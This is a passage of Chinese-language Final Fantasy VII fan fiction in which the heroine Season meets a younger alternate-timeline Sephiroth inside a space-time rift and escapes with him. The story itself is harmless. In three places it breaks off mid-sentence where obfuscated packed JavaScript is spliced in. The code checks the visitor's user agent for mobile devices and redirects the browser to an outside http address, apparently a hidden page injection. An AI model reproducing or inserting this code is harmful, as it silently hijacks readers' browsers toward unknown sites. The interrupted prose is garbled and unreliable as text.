很好,有理有据,令人信服。 和杰诺瓦讲道理显然是行不通的,这种生物不受任何人类道德的束缚,还有一套属于自己的无懈可击的逻辑。如果试图和萨菲罗斯争论,只会被拉到对方的三观层面,再被他以丰富的经验打败。 这幅姿态根本没法好好沟通,后背紧贴着坚硬的书架,若是向前又无异于投入对方的怀抱。她沉默半晌,委婉道:“这个姿势很累。” “你可以往前。” “我的意思是你能不能后退两步。” 萨菲罗斯分毫未动:“你还没回答我的问题。” 兜兜转转又回到了起点,看来今天是躲不开了。她无可奈何道:“我不会成为任何人的「母亲」,也不打算成为他们的伴侣。” 碧绿的竖瞳望进她的双眼,萨菲罗斯未置可否。 “况且他们三个对我的执着是因为你在我身上留下的杰诺瓦印记,说到底还是你导致的问题。”她抬起头,冷静地反问,“所以,你现在满意了吗?” 萨菲罗斯起身后退些许,给她留出几分空间,但也仅仅只是几分,并不足以让人离开。 “你是在对我生气?”他侧了侧头,仔仔细细地端详着她,好像她是本难以解读的书,“为什么?” 你还好意思问我为什么?她差点脱口而出。 可萨菲罗斯看起来真的对此感到不解,而非嘲弄或挑衅。他像只困惑的大型猫科动物,闯了祸却又完全不自知,耐心地等待着她的回答。 她忍了忍,最终还是放缓了语气:“我不喜欢被人跟踪,也不没有义务告诉你所有事情。” 萨菲罗斯脸上的表情好像在说:就这样? 她把后面的话说完:“我认为你至少应该尊重我。” “我并没有不尊重你。”萨菲罗斯平静地看着她,“按照人类的标准,我只是普通地询问你,没有强迫你。” 嗯,把人困在书架间普通地询问。 敢情她是自愿回答的,她还冤枉了他是吧? 她微笑:“那要是我不回答呢?” “……啊,”他懒洋洋地开口,“你总归会答的。” 希森:“……” 杰诺瓦不知悔改,也不打算知悔改。 “我回答了你的问题,现在轮到你了。”在亚特兰蒂斯的那天,萨菲罗斯到最后也没有给出答复,“你会等我吗?” 手机的信息提示音冷不丁响起。银发黑衣的高大身影终于撤开禁锢,将手里的书还给她,转身没入后方的黑暗。 “我会考虑的,”萨菲罗斯慢条斯理地说,“希森。” …… 她疲惫地坐在书桌上,心不在焉地翻开手机。第一条是W.R.O的转账,附言[魔兽实验体的报酬,下次送活着的更好。——R]。 看着账号里增长的那一串数字,她感觉自己又好起来了。 第二和第三条条信息都来自克劳德: [Cloud Strife]:礼物收到了,谢谢。 [Cloud Strife]:下次不要再送了。 她想了想,再次点开对话框。 [Season]:你平时和萨菲罗斯是怎么沟通的?有什么技巧吗? [Cloud Strife]:用六式。 [Cloud Strife]:【分享—实战技巧大全】 几分钟后,屏幕再次亮起。 [Cloud Strife]:【推荐联系人—Genesis Rhapsodos】 78.第 78 章 她最终还是点开了克劳德推荐的联系人名片。 巴诺拉村在0012年初重建完毕,尽管西边的半空中横贯着一道微型时空裂缝,但大部分人还是选择回来定居故土。杰内西斯和安吉尔在这里承包了一片白苹果园,不时会回去帮忙清理魔兽,于是希森把三人的群聊命名为巴诺拉物语,又把他们的备注分别换成田园诗人和农场主。 杰内西斯和养父母的关系缓和了许多,但每次看到对方邀请她回家做客时都会露出欲言又止的神色。趁着拉普索道斯夫妇去准备餐后甜点的空隙,红发的青年侧过头:“下次不用答应他们,我会替你拒绝。” “为什么,”她有些困惑,“你还在意以前的事情吗?” “……不为什么。”红发青年的表情像是吃苹果时发现了半条虫子,咬牙切齿道,“脑子不好就少问两句。” 希森看了他一眼。 希森抢走了他的那份焦糖布丁。 白苹果四季丰收,沉甸甸地缀满枝头,果园自然也事务繁杂。安吉尔帮忙收摘成熟的果实,杰内西斯则去清剿周边残余的魔兽,只有她每天无所事事地躺在树下的草坪,抱着一堆巴诺拉特产从日出吃到日落。 碧绿的林荫遮去灼热的烈阳,盛夏的微风卷起苹果清甜的气息,此起彼伏的蝉鸣很适合作为午睡的催眠曲。傍晚苏醒的时候,安吉尔会准备好晚餐的食材,和她一起等杰内西斯回来,夕阳为整个世界镀上一层璀璨的融金,连空气中都流淌闪烁的微光。 平静又美好得像是在梦里。 今天醒来的时间比往日要早,耀眼的阳光将整片林地映成一抹茫茫的白。四周寂静无声,连蝉鸣与风声都消失殆尽,唯有脚下枯叶发出的沙沙微响。 直觉告诉她有什么不对劲。 希森抬起头,原本碧蓝无际的天空此刻已经被纵横的星幕与光河取代,脚下的地面也被分割成无数悬空的碎块。她很快意识到这里并不是现实世界,而是不同世界线交错的夹缝,位于巴诺拉西边的时空裂缝不知为何发生异常,在睡梦间将她卷入了这个混乱的位面。 她沿着林地边缘往星河深处走去,打算先找到回去现实世界的出口。不远处忽然传来枯枝断裂的声响,似乎有人正朝着这个方向走来。 强光模糊了来人的面容,勾勒出男性修长而挺拔的轮廓,一抹华丽的银白沿着肩头垂落,仿佛由绸缎织就的长瀑,随着他的步伐微微摇曳。她没料到这里还会有其他人,下意识地追向对方:“等等——” 那道身影回过头,碧绿的竖瞳在光线下泛出绮丽的光泽,如同暮夜中流淌的璀璨星河。她还未说出口的话语生生凝固在喉间,化作一声急促的气音。 银发的青年望向她,唇瓣微动,似乎说了一句什么。可她的思维已经被那张熟悉的面容全部占据,像是被困在琥珀中的沉眠的标本,在时间的长河中静止,无法听见任何声音,也无法作出任何回应。 脚下的地面开始颤动,本就不稳定的废墟在时空乱流的冲刷下四分五裂,失重带来的离心感将她猛然拉回现实。在时间重新开始流逝的那一瞬间,她看见那抹银白踏着碎石凌空跃向自己,如同自圣坛坠入现实的神祗。理智缓缓回流,她终于凭借嘴型辨出对方刚才的话语—— “小心。” 刺骨的寒风在耳边尖啸,无垠的星河飞速流转。她已经做好了召唤巴哈姆特的准备,却在下一秒落入一个有力的怀抱。碧绿的竖瞳如同受到刺激的猫科动物般骤然收缩,将眼中倒映出的身影吞入狭长深渊,在这种距离下她能清晰感受到对方略显急促的心跳,温热的呼吸融作白雾模糊成一团。 “……萨菲罗斯?”她怔了怔,下意识地开口,“不,不对。” 虽然是完全一致的五官,在气质上却有着细微的差别。眼前的青年要年轻许多,身穿一套利落但陌生的黑色作战服,看起来只有十七八岁。他的神色中并没有惯常那种极具侵略性的嘲弄与倨傲,唯有隐隐的担忧,因而眉眼的弧度柔和了许多,少了几分非人的压迫感。然而真正令她愣神的是青年腰间的武器,那并非正宗,而是一柄她再熟悉不过的长剑。 ——涅墨西斯。 这把剑在其他时间线是神罗的废案,本不应该出现。这不是她认识的萨菲罗斯,也不是她曾经见过的任何一个萨菲罗斯。 “……谢谢,”希森回过神,纵使有无数疑问流转在舌尖,但在理智面前也只是在化作一句答谢,“我没事。” 怀抱着她的人像是没有听见,狭长的竖瞳一眨不眨地凝视着她。银发的青年看似冷静如常,可眼底凝滞的诧异却出卖了他在发愣的事实。 像只看似一本正经,实则已经停止思考的猫。 于是她不得不重复了一遍:“我没有受伤,把我放下来也没关系。” “啊,抱歉。”他缓慢地眨了眨眼,终于反应过来,小心翼翼的动作像是在对待易碎的珠宝,“无意冒犯,你……认识我吗?” “只是错认成了一个熟人。”她摇了摇头,“初次见面,我是希森。” 银发的青年顿了顿:“你是另一个世界的人?” 不管是哪一条时间线的萨菲罗斯都敏锐得可怕,还未等她解释便猜到了真相。希森坦然地承认了:“你也是意外被卷入这个地方的吗?” 他没有马上回答,半晌后才轻轻地点了点头。 “你知道这是哪里吗?”她问。 银发的青年看着她,没有说话。 懂了,不知道。 “你认识回去的路吗?”她又问。 银发的青年还是没有说话,神色里带着几分无辜。 懂了,也不知道。 希森感觉自己像是触发了什么奇怪的隐藏任务:这里有一只迷路的缅因……哦不,萨菲罗斯,快去捕捉吧。 “既然这样,”她弯起一道明媚的笑,“我带你回去吧。” 狂风扬起青年银白的长发,他抬起眼帘:“你知道怎么回去?” “不知道,”她答得理直气壮,“这不是正在找吗。” 青年委婉地看了她一眼,十分礼貌地保持了沉默。 时空裂缝产生的根本原因是两条不同的世界线发生重合,而交汇的地点便是他们目前所处的空间,这里毫无规律可言,还潜伏着许多来自不同世界的生物。带上眼前的青年无疑是正确的选择,他就像是一台精准而高效的杀戮机器,挡在前路的魔兽顷刻间便被附魔的剑风一分为二,不久后方圆百里内所有会动的生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我那个世界的萨菲罗斯吗?”她想了想,“唔,他的性格其实和你不太一样,而且使用的武器是一把名叫正宗的太刀。” “那把两米长的刀?”青年的声音顿了顿,“神罗战败之后,它就和其他武器一起被五台收缴了。” “神罗……战败?”希森怀疑自己出现了幻听,不然这两个词语怎么可能组合在一起。 强烈的违和感猛然涌上心头,此前她一直先入为主地认为眼前的青年和其他同位体的命运相差无几,自然也没有想过不同世界线的历史会有其他的可能性。 现在回想起来,其实一切早就有迹可循。 这条世界线的萨菲罗斯不但没有配备神罗的装束,性格也和在实验室里长大的战争英雄大不相同,并不像她所认知的那样不善言辞,反而会和初次见面的人开玩笑。他不曾拥有正宗,而是使用G计划的衍生废案作为武器。 以神罗掌握的兵力和科技,无论如何也不应该输给五台才对。 除非它失去了自己最强的军事武器。 希森忽然回想起来。 ——这条世界线的萨菲罗斯,从来没有说过自己来自神罗。 79.第 79 章 溪流淌过凹凸的沙与石,水珠被惯性高高抛起又重新回落,一次又一次地敲在她心头。青年的声音似乎变得非常遥远,像是风中即将消逝的歌谣。 “1996年,五台攻破朱农港,战火蔓延到首都米德加,神罗总裁死于雪崩组织的刺杀。”来自另一条世界线的萨菲罗斯说,“路法斯在塔克斯的扶持下继位,和五台签订停战条约,并在第二年建立世界恢复组织。” 半晌过后,她才找回自己的声音:“我以为你来自神罗。” “我确实是神罗人体实验的产物,不过很早之前就离开了。”银发的青年语气淡淡,好像提到的不是自己的身世,而是最近的天气,“用他们的话来说,我算是无立场的雇佣兵。” 他没有明说自己是如何离开神罗的,后续又经历了什么,她也没有追问。这条世界线的萨菲罗斯显然不再是那个活在谎言中的英雄,甚至对J计划的真相有一定了解。 “看来你的世界和我不太一样。” “比如?”青年饶有兴致地侧过头,像只被新奇事物吸引了注意力的猫,“你看起来不像是神罗的人。” “唔,这么说倒也没错。”希森眨了眨眼,唇角弯起狡黠的弧度,“我是协助雪崩刺杀总裁,扶持路法斯继位的塔克斯。” 碧绿的竖瞳中映出跃动的焰火,明亮得令人无法移开目光。银发的青年浅浅地笑了起来,低沉的音线如同丝绸般平滑:“那还真是让人意外。” “……我没有开玩笑,”她敏锐地捕捉到对方话语中的戏谑,“是真的。” “嗯,我知道。”青年的语气十分认真,眼底却笑意半分未减,“初次见面就从天而降的塔克斯。” 狂风荡开树林,枝叶间细而密的絮语由远及近,仿佛有某种古老的存在跨越时间与空间,无声地注视着世间万物。 耳畔掠过一股腥而热的吐息,希森旋身避开破空而来的利爪,魔石的光华顷刻在掌心凝作紫色的长剑。剑光流转间,魔兽庞大的身躯已被剑风分割成无数碎片。断臂残肢如同雨点般落下,溅起点点殷红的血花。 “那只是个意外。”她回过头,笑吟吟地看向他,“我对涅墨西斯的了解可不比你少。” “是么?那我拭目以待。”卷土重来的兽群如同暴风雨中翻涌的浪潮,银发的青年在前方劈开一条道路,“你的战斗习惯和我认识的一个人很像,他也擅长使用魔法。” “杰内西斯·拉普索道斯?”希森召唤出火属性的巴哈姆特,巨龙的烈焰瞬间将周遭的生物化作灰烬。 “从神罗叛逃到五台的特种兵,经常和安吉尔·修雷一起行动。”他侧过头,“你认识他?” 两名1st叛逃的时间比她所在的世界线要早很多,从萨菲罗斯的形容来看也还没有出现劣化的情况。希森停顿片刻:“我们是朋友……或者说家人更合适,我的战斗技巧大部分来自于他。” “那你的忍耐力一定很好。” 言外之意,那个世界的杰内西斯性格也很糟糕。 她笑了起来:“你们的关系似乎还不错。” “啊,”银发的青年对此不予可否,“执行任务时接触过几次。” 巴哈姆特在空中向下俯冲,利用速度带来的惯性砸断连接着岛屿另一端的石桥,源源不断的兽潮终于短暂停歇。两人默契地将后背交给对方,一同剿灭了余下开始逃散的魔兽。 “杰内西斯和安吉尔在我的世界里是和你并肩作战的挚友。”希森将涅墨西斯从最后一只魔兽体内抽出,振去剑刃上沾染的血渍,“你是神罗的1st特种兵,万众敬仰的大英雄。” 碧绿的竖瞳中闪过几分讶然,银发的青年停下脚步:“很遗憾,我的世界里并没有这样的英雄。” “那并不是坏事。” “我没见过你所说的英雄,”他看向她,绮丽的眼瞳如同坠入深海的翡翠,“但我想应该是像你这样的。” 魔兽的尸骸化作点点荧绿的光芒,伴着狂风一同回归生命之流。她的思维凝滞了一瞬,眼前的一切犹如慢放的电影。 “我可以理解为这是对我的夸赞吗?” “啊,”银发的青年弯起唇角,“那正是我的本意。” 前方的道路已经在战斗中坍塌,只能依靠能够飞行的召唤兽。巴哈姆特振翅升空,璀璨的星河朝身后飞速流逝,这个地方没有时间的概念,也许过了很久,又似乎只过了一瞬,巨龙载着他们落在星幕的尽头。两个不同的时空交织在一起,银白的命运守护者盘旋在裂缝四周,以自己的身躯修正偏离的命运线。 “从这里过去就能回到你的世界,菲拉会修复时空裂缝,让两个空间重新分离。”她从龙背上一跃而下,“但我猜这并不是你想要的。” 银发的青年没有回答。那双猫一般漂亮的竖瞳一眨不眨地凝视着她,艳丽而深邃的纹路中透出几分非人的质感。 “我没有告诉过你时空裂缝的来源和规律,但你知道其他世界线的存在,而且对只在这片空间生长的植物非常了解,甚至记得每种果实的味道。以你的实力早就可以回到现实世界,所以……”希森顿了顿,转过身,“你并非误入时空裂缝,而是故意留在这里的。” 萨菲罗斯的长相昳丽精致,五官的弧度却极具侵略性。当他脸上不带任何表情的时候,独属于战士的锋芒与压迫感便会压过表面的温和,如同卸去无害伪装的捕食者。他侧了侧头,平静的语气中辨不出情绪:“我还以为你不打算说出来。” “因为我很好奇。”希森平静地问,“你为什么要这样做?” 她是来自另一个星球的穿越者,只存在于一条世界线,眼前的萨菲罗斯理应完全不认识她。 银发的青年垂下眼帘,纤长的睫毛在眸畔投下一片浅浅的阴影,遮去神色中锐利的锋芒。半晌过后,他才再次开口:“我们并非初次见面。” “八年前,三个身份不明的少年出现在神罗大楼,自称受「姐姐」的指引而来。”他的语调里带着一丝微不可察的颤动,“他们袭击了神罗的科学部门,却并没有主动伤害任何人,而是放走实验室里的所有活物。当时的主管宝条在混战中坠楼身亡,研究数据也被毁掉大半。” 青年的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15079742|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很轻,却如同暴雨中骤响的惊雷,一字一句重重地坠入心底,将她的理智砸至粉碎。 ——她早就应该意识到的。 和自小被囚禁在笼子中的猛兽一样,萨菲罗斯从出生起便被灌输扭曲的观念,不可能无故脱离神罗。因此在已知的所有世界线里,他都是忠于神罗的战争英雄,直到杰内西斯和安吉尔叛逃后才萌生过离开的想法。 除非有某种强大的外力改变了他的处境,打破神罗的思维禁锢。 卡丹裘三人曾经提到过这件事,但由于眼前这个萨菲罗斯的年龄对不上,所以希森一直没有往这个方面联想。直到此刻才回想起时空裂缝两端的时间流速并不对等,对她来说距离那晚只过去了三个月,到另一条世界线却已经是八年之后。 可萨菲罗斯理应不知道她的存在,更不可能第一眼就认出她是谁。 “我当时并不在场,”她几乎是下意识地开口,“也从来没有去过你的世界。” “你确实不在。”银发的青年抬起手,魔石的流光在指间凝成一张略微泛白的照片,“但他们离开前留下了这个……大概是混乱中遗失的。” 照片的边角带着些许焦黑和血渍,但能看出保管它的人非常用心,即便相纸已经因为多次触摸而产生细微的磨损痕迹,画面中央的人物依旧清晰如新。她手里提着涅墨西斯,转头望向镜头所在的方向,身旁是三名思念体少年——当时他们正在围剿从时空裂缝中逃出的魔兽,恰好被W.R.O的记者拍到。 亚祖上次才说这张照片在战斗时弄丢了,几人缠着她又拍了一张新的合照。 “……所以你从一开始就认出我了。”希森终于反应过来。 “抱歉,我并非有意欺瞒。”青年蝶翼般的睫毛颤了颤,像只展露出利爪后又为自己吓到对方而懊悔的大型猫科动物,“我只是……对你很好奇。” 她的心跳似乎停滞了半拍,即便明知自己被骗,也无法对罪魁祸首产生一星半点的怒火。 可希森依然不明白对方为什么要孤身一人留在时空裂缝。这条世界线的萨菲罗斯并未成为战争英雄,神罗也彻底倒台,明明是最完美的结局。 零碎而模糊的记忆在脑海中一闪而过,最后拼凑出那把熟悉的紫色长剑。 ——是了,这个萨菲罗斯使用的武器是涅墨西斯。 他早在十岁前就离开了神罗,当时连正宗都还没有出现,更何况是后来才投入研发的G计划衍生武器。这个世界上适合萨菲罗斯的武器有很多,但不包括已经成为废案的半成品。 可他还是找到了这把剑,还把它作为自己的惯用武器。 因为她在照片里使用的就是涅墨西斯。 “我尝试过去神罗找你。”青年的话语与她回忆中的声音重合,又重新剥离,“我查到了涅墨西斯计划,但荷兰德告诉我它从来没有被启用过。” “我并不知道你们来自哪一个世界。”他看着她,碧绿的竖瞳宛如初晨下熠熠生辉的汪洋,耀眼的碎金在温柔的海潮中化开,“但我想……如果我一直走下去,或许终有一天能够和你相遇。” 80.第 80 章 [μ]-εγλ1986,三名身份不明的少年袭击了神罗的科学部门,幸存的实验体全部出逃,唯有杰诺瓦计划的完美造物留在原地。 为首的少年问他为什么不离开。 他无法回答这个问题,神罗从来没有教授过这方面的知识。即便摆脱了实验室的束缚,他也不知道应该去往何方。 少年说他们是同类,背负着这个种族的伟大使命。 他并不清楚什么是使命,只知道自己是为战场而生的特种兵,如果不能战斗就毫无价值,仅此而已。他从实验室的废墟里救下一对母女,三人辗转几年才终于摆脱神罗的追兵。 临别之前,他拿出三名少年遗失的照片,询问依法露娜是否见过上面的少女。对方摇了摇头,以一种难以解读的目光看向他。 他追寻着当年的线索一路北下,在尼布尔海姆的地下公馆里唤醒了沉睡的塔克斯,从对方口中得知关于杰诺瓦的真相。然而魔晄炉中存放的尸体早已被三名少年带走,他看着山顶那片空荡的废墟,依然无法理解自己的使命。 彼时神罗已经不复往日的强盛,宝条的死亡和样本的缺失导致特种兵的改造计划进展困难,进而引发大规模的强制征兵,日渐增高的伤亡率与严苛的剥削制度触及了人们的底线,反神罗组织雪崩在五台和路法斯的资助下成立,并成功占领星陨峡谷一带的地区。 老总裁迫于二者的压力下令派1st杰内西斯和安吉尔出征,但拉扎德清楚神罗大势已去,荷兰德也意识到G计划与A计划的潜在风险,权衡利弊之后,几人带着部分特种兵叛逃。 [μ]-εγλ1996,他受五台的雇佣带领军队攻入米德加,这场战争以单方面压倒性的优势结束。人们称他为英雄,为他冠以极尽华美的赞誉,关于他的报道铺天盖地,无人不晓。 如果他没有离开神罗,这本该是他的使命,也是他被创造出来的意义。 他想起依法露娜在临别前留下的最后一句话,终于明白了对方的用意。 ——能够与星球沟通的赛特拉说,他所追寻的答案不在这里。 涅墨西斯计划的档案空无一物,这把剑的使用者从未存在过。 英雄萨菲罗斯转过身,毫无留恋地走入时空裂缝。 在无数条既定的命运线中,这个世界的萨菲罗斯偏离了原本的轨道,没有坠入尼布尔海姆的那场大火。 星球的世界线本是恒定的,但任何事物发展均存在定数与变数,在一个动态系统中,初始条件的细微变化会导致不同事件发展的顺序,从而产生显著差异。「希森」的存在改变了三名思念体的选择,而他们的选择导致又另一条命运线发生巨大偏移,最终致使两个世界交汇。 她是那只扇动翅膀的蝴蝶,引发另一条世界线上的龙卷风。 菲拉的使命是纠正偏移的世界线,所以它们将她带到了时空裂缝。星球想让她修复命运的漏洞,让一切回归正轨。 可这条世界线的萨菲罗斯呢?宁可舍弃一切,也要在亿万分之一的可能性里追寻这个未来的萨菲罗斯,他愿意走向那个结局吗? “……所以,”希森顿了顿,听见自己声音中混杂着清晰的心跳,“你认为我是那个能够给你答案的人?” “我曾经这么认为。”银发青年睫羽微垂,话音在夜风中稍作停顿,“但在见到你之后,我改变了想法。” 她怔然抬眼,这个回答完全超出了预期:“为什么?” “因为我意识到……”他侧了侧头,碧绿的眼瞳中倒映出璀璨的星云,绮丽得令人目眩,“你就是答案本身,能够主宰命运的存在。” 思维仿佛在刹那间凝固,每一秒都是如此漫长而又混乱,希森想要解释,却无论如何也无法说出自己在干涉对方命运后又弃之不顾的事实。无数苍白的话语最终化作舌尖泛起的苦涩,如同无形的尖刺没入心头:“如果真相并不是你想象的那样呢?” “我知道自己不应该出现在这里。”青年的目光落在她眼底,语气平静得将近温和,“你希望我回去吗?” 回到原本的世界线,纠正偏移的命运。 他们停留的时间太久,盘旋在半空的菲拉已汇聚成一片翻涌的海潮,将两人淹没在银白的光辉中。不断交错的身影织就出一张巨大的网,无声地警告着妄图改变命运的人。 “你曾经的愿望是过上平凡的生活,”希森问,“如果我能做到的话,你会过得开心吗?” 那个世界已经没有神罗和杰诺瓦,只要她把自己和三名思念体存在过的痕迹彻底抹去,萨菲罗斯就无需再承受任何苦难和困扰。 青年无意识地攥紧了手中的照片,又在相纸受损的前一秒飞快松开:“我会做到的。” “就算会忘记这一切也没关系?” “如果是你的愿望,”他重复道,“我会做到的。” “但这并不是你的愿望。”希森看向他,“所以我不会这么做。” 她知道被修改记忆是什么感觉,那只不过是活在一场精心编织的谎言里,大脑会遗忘,心却会记得。她也知道见识过森林的飞鸟不可能再回归囚笼,萨菲罗斯已经找到了自己的答案,她做不到把这一切抹去。 “你的存在并不是一个错误,”她轻声说,“而是亿万分之一可能性里诞生的奇迹。” 银发的青年猛然抬起头,狭长的竖瞳宛如开裂的宝石,每一道纹路都涌动着昳丽的光泽。他似乎想要说些什么,却在下一秒被银白的光河吞没。 星球的命运守护者蜂拥而至,如同一堵坚不可摧的命运之墙横贯在两人之间。温热而粘稠的液体从喉头涌上口腔,在舌尖炸开浓厚的腥甜,整个世界开始倒旋,目之所及皆是混沌而刺眼的白。她已经分不清面前涌动的到底是菲拉的身影,还是自己因意识模糊而产生的幻觉。 从做出抉择的那一刻起,希森就预料到了现在的后果——改变命运需要付出代价,整个世界的因果反噬在她身上,即便是半身之躯在一时之间也难以承载。 希森用仅存的力气打开时空裂缝,迎面扑来的海风温暖湿润,起伏的浪潮打湿了脸侧的碎发,卷起丝丝缕缕海盐的微咸。 命运守护者汇聚成汹涌的浪潮,拽着她坠入浩瀚的深海,希森只能看着幕墙另一端的世界越来越远,最后化作天幕上触不可及的星点。离心力带来的失重感触发了生物的本能,她下意识地伸出手,试图在一片虚无中抓住些什么。 ……她想要抓住些什么呢? 在指尖脱力的前一秒,隔绝命运的幕墙被紫色的弧光一分为二。银发黑衣的身影斩开菲拉的禁锢,朝她所在的方向凌空跃起。 柔软的肌肤和冰冷的皮革相触,她抓住了他的手,交错的十指紧紧相扣。 好像有人在呼唤她的名字,断续的声音隐没在狂风的尖啸中。绮丽的竖瞳犹如沉淀万年的祖母绿,深深浅浅的纹路层叠交织,将她的倒影凝固在璀璨的星流当中。 翻涌的汪洋吞没所有光亮,世界仿佛被一层朦胧而混沌的屏障隔绝。银发的青年将她紧拥入怀,共同坠入无边无际的深蓝。 海水冰冷刺骨,他的怀抱却灼热无比。 …… 恢复意识的时候,银发的青年正抱着她登上海中央的岛屿。 菲拉只是在履行命运守护者的职责,无意真正伤害两人,再加上另一条世界线的萨菲罗斯在坠海时用身体护住了她,所以希森并没有大碍,只是由于承担了改变命运的因果而短暂陷入虚弱。 她是星球选中的人没错,但这颗星球又不是她的母星,改变一两次命运应该也……没关系吧。 如果有,那就让她家里的外星人去解决。 温暖柔和的绿色光芒随着晚风流淌,化作源源不断的力量涌入她的身体。银发的青年无视魔力上限,近乎无节制地利用治疗系魔石将自己的生命力抽取给她,手上的力度却谨慎得像是对待易碎的珠宝。 喉间的伤势还没痊愈,一开口便干涩发痛,希森只能轻轻拽了一下垂落脸侧的银白发丝。 “……嗯?”青年顺势低头,像只被惊扰到的大型缅因猫,表面看起来不易接近,实际上即便被扯住尾巴也不会生气,“抱歉,我会尽量轻一些,再忍耐一下就好了。” 她摇了摇头,声音有些沙哑:“我和普通人不一样,可以直接吸收魔石的力量恢复。” 银发的青年顿了顿,似乎有些意外,却并没有追问下去。他手腕微旋,储物魔石的光芒亮起,不同属性的晶球在地上堆成一座小山,踏着叮当的脆响滚落到她脚边。 希森看着几乎将她淹没的高纯度魔晶石,头顶缓缓升起一个“?”。 “在执行任务时获得的战利品也是雇佣兵报酬的一部分,”他的语气里带着几分不易察觉的骄傲,让人联想到满载而归后等待夸奖的猫,“这些不够的话,我可以再去找。” 她不禁为这条世界线的神罗默哀。先是被三名思念体上门取件,又被萨菲罗斯免费购物,怪不得路法斯投降得这么迅速,再晚一点连建立W.R.O的资本都要被大大小小杰诺瓦的洗劫一空了。 “不愧是萨菲罗斯。”希森弯起唇角,目光扫过青年额间的一抹殷红,一道细而长的伤口在银白的发间若隐若现,大概是坠海的时候不小心划伤的。她几乎没有思考便伸出手,“欸,你先别动。” 银色的大猫瞬间凝固在原地,为了照顾她的身高还颇为乖巧地低下头,用尾巴圈起四个爪子。 “这里受伤了。”希森用指尖轻轻抹过伤口,开裂的皮肉在治疗魔法的效用下飞快愈合,传回柔软灼热的触感,“你的体温有点高,是不是发烧了?” “啊……”银发的青年怔了怔,忽然飞快地侧过头,像是被什么烫到了一样。半秒后他才回过神,利落地站起身,“谢谢,我没事……你需要休息,我去找些食物。” 希森还没来得及阻止,青年已经甩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15146241|131107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀钉住了水里一条路过的鱼,熟练地开始生火处理。劝阻的话语凝在唇边,最终还是没能说出口。 明明杰诺瓦是外星入侵的生物,为什么他们的外貌和习性都这么像猫,上一秒还很亲人,下一秒就不让摸了。难道是她的问题吗? 鲜嫩的鱼肉在高温下逐渐从雪白变为焦黄,青年仔细地剔除掉里面的骨刺:“这是你原来的世界吗?” “当然不是,这个地方——”希森抬起头,熟悉的遗址矗立在月色中,头顶的石碑刻着海底之城的名字,将她后续的话语硬生生堵回喉间。 打开时空裂缝的时候,她本来是想找一个能够甩开菲拉又不会牵涉到无辜者的世界,于是下意识地选择了已经没有人类存在亚特兰蒂斯。 “怎么了?”青年敏锐地抬起头,“如果有危险,我会保护你。” “我们还是尽快离开比较好,”她委婉道,“在这个世界停留太久会引来不好的东西,以我们两个的实力可能对付不了。” 拥有穿越世界线能力的星球灾厄通常不会干涉她的自由,但不代表他不想干涉,稍有不慎空气里就会出现一位两米高的单翼外星人。 银发的青年垂下眼帘,鸦羽般的睫毛颤了颤:“我送你回去。” “然后我们两个一起被菲拉抓住,又打开时空裂缝逃走吗?”希森笑了起来,“听起来有点熟悉呢。” “……我不能让你独自一人回去。”他抬起头,碧绿的竖瞳专注而认真,“我可以自己进入时空裂缝离开。” “只要我回去原来的世界线,菲拉就不会为难我,但你不一样。”希森再次摇头,“偏离命运的人只有去往世界尽头才能彻底摆脱它们的影响,另一个你就是这么做到的。” 银发的青年没有回答,只是安静地看着她。 猫科动物都很执拗。于是希森换了一种方法:“我想雇佣你去执行这个任务。” 海浪不断拍打着礁石,溅起点点珍珠般的白沫。半晌过后,他才缓缓地开口:“我的收费并不便宜。” 希森自信满满:“我很有钱。” 她不仅有超能力,还有钞能力。 “我想要的并不是钱。”银发的青年侧了侧头,“可以请你先闭上眼睛么?” “这题我会,来吧。”她没有迟疑地闭上双眼,又朝对方张开双手,“其实你想要一个临别拥抱的话可以直接说,不用不好意思——” 冰凉顺滑的发丝从她脸上扫过,温热而柔软的触感落在额间,如蜻蜓点水般转瞬即逝。青年低沉的声音随即在她耳畔响起:“你的委托我接受了,这是定金。” 希森困惑地睁开双眼,正好对上一双含着笑意的碧绿竖瞳。她在原地愣了几秒,这才后知后觉地反应过来对方做了什么。 “至于剩下的那部分报酬……”银发的青年弯起唇角,举起手里的照片,“用这个抵消就足够了。” ……啊。 有时候猫的社会化程度太高也不是一件好事,希森心想,总感觉那条世界线把他教坏了。 “我还有一件事需要告诉你,”她努力忽略自己发烫的脸颊,在自己失去勇气之前坦白,“1986发生的事情是个巧合,我并不知道他们三个会袭击神罗实验室,把你们放走。” “但我并不后悔。”她说,“抱歉,我来晚了。” “我知道。”银发的青年似乎并不意外,也没有表露出半分失望。那双绮丽的竖瞳专注地凝视着她,一点一点地勾勒出她的模样,再细细地刻入眼底,“或许我来找你也并不是出于什么冠冕堂皇的理由,只是单纯地想见你而已。” 希森顿住了。 “我以后还会再见到你吗?”他问。 “……那要到很远的地方,比世界的尽头更远。”她沉默片刻,“如果你到了那里,就可以重新认识我。” “好。”银发的青年浅浅地笑了起来,“我会完成任务的。” 